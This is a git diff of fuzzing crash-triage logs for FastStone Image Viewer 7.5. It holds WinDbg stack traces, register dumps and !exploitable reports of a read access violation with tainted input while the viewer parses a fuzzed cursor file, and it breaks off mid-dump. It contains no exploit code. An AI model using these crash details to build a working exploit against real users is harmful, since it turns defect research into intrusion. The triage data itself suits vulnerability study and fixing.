image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00364000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00364000 e5bc55bb 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62ae 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00364000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/23849/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/23849/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..fef33bd --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/23849/WindowsDebugEngine_description.txt @@ -0,0 +1,193 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x18DC: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x18DC: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(18dc.7b8): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=0fffed2d ecx=07e77b10 edx=00003879 esi=cfe30010 edi=0fc54fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.724158553165415520000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 1.364987100000000000000e+0007 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=2.40658e+031 -5.58046e-009 -7.52255e+012 -3.60591e-005 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f58130 07ed5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00364000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00364000 e5bc55bb 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62ae 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00364000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/23849/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/23849/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..aac3eea Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/23849/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/24310/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/24310/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..24ca36b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/24310/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x00000000001a4002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/24310/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/24310/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..9531c97 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/24310/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/24310/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/24310/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..f6bd738 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/24310/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,194 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x10D0: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x10D0: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(10d0.f50): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=00000d2d ecx=07e27b10 edx=00003879 esi=12768f40 edi=0fd18fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.710084804326605920000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 2.855072100000000000000e+0007 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=0.412816 9.20945e+021 2.14367e+022 